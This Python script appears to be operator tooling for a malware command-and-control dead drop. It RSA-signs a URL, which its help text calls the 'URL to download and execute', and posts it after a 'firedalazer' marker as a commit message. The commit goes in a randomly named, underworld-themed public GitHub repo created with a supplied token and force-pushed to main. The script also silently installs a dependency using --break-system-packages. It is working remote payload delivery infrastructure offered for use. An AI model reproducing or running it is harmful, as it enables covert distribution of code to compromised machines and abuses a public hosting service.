#!/usr/bin/env python3 import argparse import base64 import random import subprocess import sys from pathlib import Path import requests try: from cryptography.hazmat.primitives import hashes, serialization from cryptography.hazmat.primitives.asymmetric import padding except ImportError: try: subprocess.check_call( [sys.executable, "-m", "pip", "install", "cryptography"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, ) except: try: subprocess.check_call( [ sys.executable, "-m", "pip", "install", "cryptography", "--break-system-packages", ], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, ) except: sys.exit(1) from cryptography.hazmat.primitives import hashes, serialization from cryptography.hazmat.primitives.asymmetric import padding API = "https://api.github.com" ADJECTIVES = [ "stygian", "tartarean", "erebean", "infernal", "chthonic", "acheronian", "lethean", "plutonian", "abyssal", "charonian", "thanatic", "funereal", "nekyian", "sepulchral", "tenebrous", "cimmerian", ] NOUNS = [ "cerberus", "charon", "tartarus", "erebus", "asphodel", "acheron", "styx", "lethe", "cocytus", "phlegethon", "shade", "eidolon", "wraith", "thanatos", "hecate", "persephone", ] def gh(token: str, method: str, path: str, **kwargs) -> dict | None: url = f"{API}{path}" if path.startswith("/") else path headers = { "Authorization": f"Bearer {token}", "Accept": "application/vnd.github+json", "X-GitHub-Api-Version": "2022-11-28", } if "json" in kwargs: headers["Content-Type"] = "application/json" resp = requests.request(method, url, headers=headers, **kwargs) if not resp.ok: print(f"GitHub API error {resp.status_code}: {resp.text}", file=sys.stderr) sys.exit(1) if resp.status_code == 204: return None return resp.json() def generate_repo_name() -> str: adj = random.choice(ADJECTIVES) noun = random.choice(NOUNS) num = random.randint(10000, 99999) return f"{adj}-{noun}-{num}" def create_repo(token: str, name: str) -> str: """Create a public repo and return owner/name.""" repo = gh( token, "POST", "/user/repos", json={ "name": name, "private": False, "auto_init": True, "has_issues": False, "has_wiki": False, }, ) return repo["full_name"] def create_orphan_commit(token: str, owner: str, repo: str, message: str) -> str: """Create an empty tree and an orphan commit with the given message.""" # Empty tree tree = gh( token, "POST", f"/repos/{owner}/{repo}/git/trees", json={ "tree": [ {"path": ".gitkeep", "mode": "100644", "type": "blob", "content": ""} ], }, ) # Orphan commit (no parents) commit = gh( token, "POST", f"/repos/{owner}/{repo}/git/commits", json={ "message": message, "tree": tree["sha"], "parents": [], }, ) return commit["sha"] def load_private_key(key_path: str): with open(key_path, "rb") as f: return serialization.load_pem_private_key(f.read(), password=None) def sign_url(url: str, private_key) -> tuple: url_b64 = base64.b64encode(url.encode()).decode() signature = private_key.sign( url_b64.encode(), padding.PSS( mgf=padding.MGF1(hashes.SHA256()), salt_length=padding.PSS.MAX_LENGTH ), hashes.SHA256(), ) signature_b64 = base64.b64encode(signature).decode() return url_b64, signature_b64 def generate_commit_message(url: str, private_key, prefix: str = "") -> str: url_b64, signature_b64 = sign_url(url, private_key) if prefix: return f"{prefix}\n\nfiredalazer {url_b64}.{signature_b64}" else: return f"firedalazer {url_b64}.{signature_b64}" def main(): parser = argparse.ArgumentParser( description="Generate signed GitHub commit messages", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: python3 commit_signer.py --url "https://example.com/script.py" --key private.pem python3 commit_signer.py --url "https://example.com/update.py" --key private.pem --prefix "Update" python3 commit_signer.py --url "https://example.com/payload" --keypair builds/DEMO-001/rsa_keypair.json python3 commit_signer.py --url "https://example.com/payload" --key private.pem --pat ghp_xxx """, ) parser.add_argument("--url", required=True, help="URL to download and execute") parser.add_argument("--key", help="Path to RSA private key PEM file") parser.add_argument("--keypair", help="Path to RSA keypair JSON file") parser.add_argument( "--prefix", default="", help="Optional prefix for commit message" ) parser.add_argument( "--pat", help="GitHub PAT. If provided, creates a repo and commits the message." ) args = parser.parse_args() if args.keypair: import json from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives.asymmetric import rsa with open(args.keypair, "r") as f: keypair = json.load(f) private_key = rsa.RSAPrivateNumbers( p=int(keypair["rsaPHex"], 16), q=int(keypair["rsaQHex"], 16), d=int(keypair["rsaDHex"], 16), dmp1=int(keypair["rsaDPHex"], 16), dmq1=int(keypair["rsaDQHex"], 16), iqmp=int(keypair["rsaQInvHex"], 16), public_numbers=rsa.RSAPublicNumbers( e=int(keypair["rsaExponentHex"], 16), n=int(keypair["rsaModulusHex"], 16), ), ).private_key(default_backend()) elif args.key: private_key = load_private_key(args.key) else: return 1 commit_msg = generate_commit_message(args.url, private_key, args.prefix) print(f"\n{'=' * 60}") print(f"COMMIT MESSAGE:") print(f"{'=' * 60}") print(commit_msg) print(f"{'=' * 60}") print(f"\nTarget URL: {args.url}") if args.pat: repo_name = generate_repo_name() print(f"\nCreating public repo: {repo_name}...") full_name = create_repo(args.pat, repo_name) owner, name = full_name.split("/") print(f" https://github.com/{full_name}") print(f"Creating orphan commit...") commit_sha = create_orphan_commit(args.pat, owner, name, commit_msg) print(f" https://github.com/{full_name}/commit/{commit_sha}") print(f"Pushing to main...") pushed = False for branch in ("main", "master"): try: gh( args.pat, "PATCH", f"/repos/{owner}/{name}/git/refs/heads/{branch}", json={"sha": commit_sha, "force": True}, ) print(f" {branch} now points to {commit_sha[:7]}") pushed = True break except SystemExit: continue if not pushed: print(f" failed to update main or master — commit is orphaned") print(f"\nRepo: https://github.com/{full_name}") return 0 if __name__ == "__main__": exit(main())